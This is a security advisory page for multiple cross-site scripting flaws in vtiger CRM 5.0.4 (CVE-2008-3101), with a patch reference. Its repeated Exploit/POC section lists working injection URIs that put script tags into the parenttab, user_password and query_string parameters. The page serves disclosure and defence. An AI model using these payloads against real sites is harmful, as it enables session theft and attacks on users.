vtiger CRM Multiple Cross-Site Scripting Vulnerabilities
BID:30951
Info
vtiger CRM Multiple Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 30951 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-3101 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 01 2008 12:00AM |
| Updated: | Sep 01 2008 12:00AM |
| Credit: | Fabian Fingerle |
| Vulnerable: |
vtiger vtiger CRM 5.0.4 |
| Not Vulnerable: | |
Discussion
vtiger CRM Multiple Cross-Site Scripting Vulnerabilities
vtiger CRM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
vtiger CRM 5.0.4 is vulnerable; other versions may also be affected.
vtiger CRM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
vtiger CRM 5.0.4 is vulnerable; other versions may also be affected.
Exploit / POC
vtiger CRM Multiple Cross-Site Scripting Vulnerabilities
An attacker can exploit these issues by enticing an unsuspecting victim to follow malicious URIs.
The following example URIs are available:
http://www.example.com/vtigercrm/index.php?module=Products&action=index&parenttab="><script>alert(1);</script>
http://www.example.com/vtigercrm/index.php?module=Users&action=Authenticate&user_password="><script>alert(1);</script>
http://www.example.com/vtigercrm/index.php?module=Home&action=UnifiedSearch&query_string="><script>alert(1);</script>
An attacker can exploit these issues by enticing an unsuspecting victim to follow malicious URIs.
The following example URIs are available:
http://www.example.com/vtigercrm/index.php?module=Products&action=index&parenttab="><script>alert(1);</script>
http://www.example.com/vtigercrm/index.php?module=Users&action=Authenticate&user_password="><script>alert(1);</script>
http://www.example.com/vtigercrm/index.php?module=Home&action=UnifiedSearch&query_string="><script>alert(1);</script>
Solution / Fix
vtiger CRM Multiple Cross-Site Scripting Vulnerabilities
Solution:
The vendor has released a patch to address these issues. Please see the references for more information.
vtiger vtiger CRM 5.0.4
Solution:
The vendor has released a patch to address these issues. Please see the references for more information.
vtiger vtiger CRM 5.0.4
References
vtiger CRM Multiple Cross-Site Scripting Vulnerabilities
References:
References:
- Multiple Cross Site Scripting (XSS) Vulnerabilities in vtigerCRM 5.0.4, CVE-2008 (Fabian Fingerle )
- vtiger Homepage (vtiger)
- vtiger CRM Security Patch for 5.0.4 (vtiger)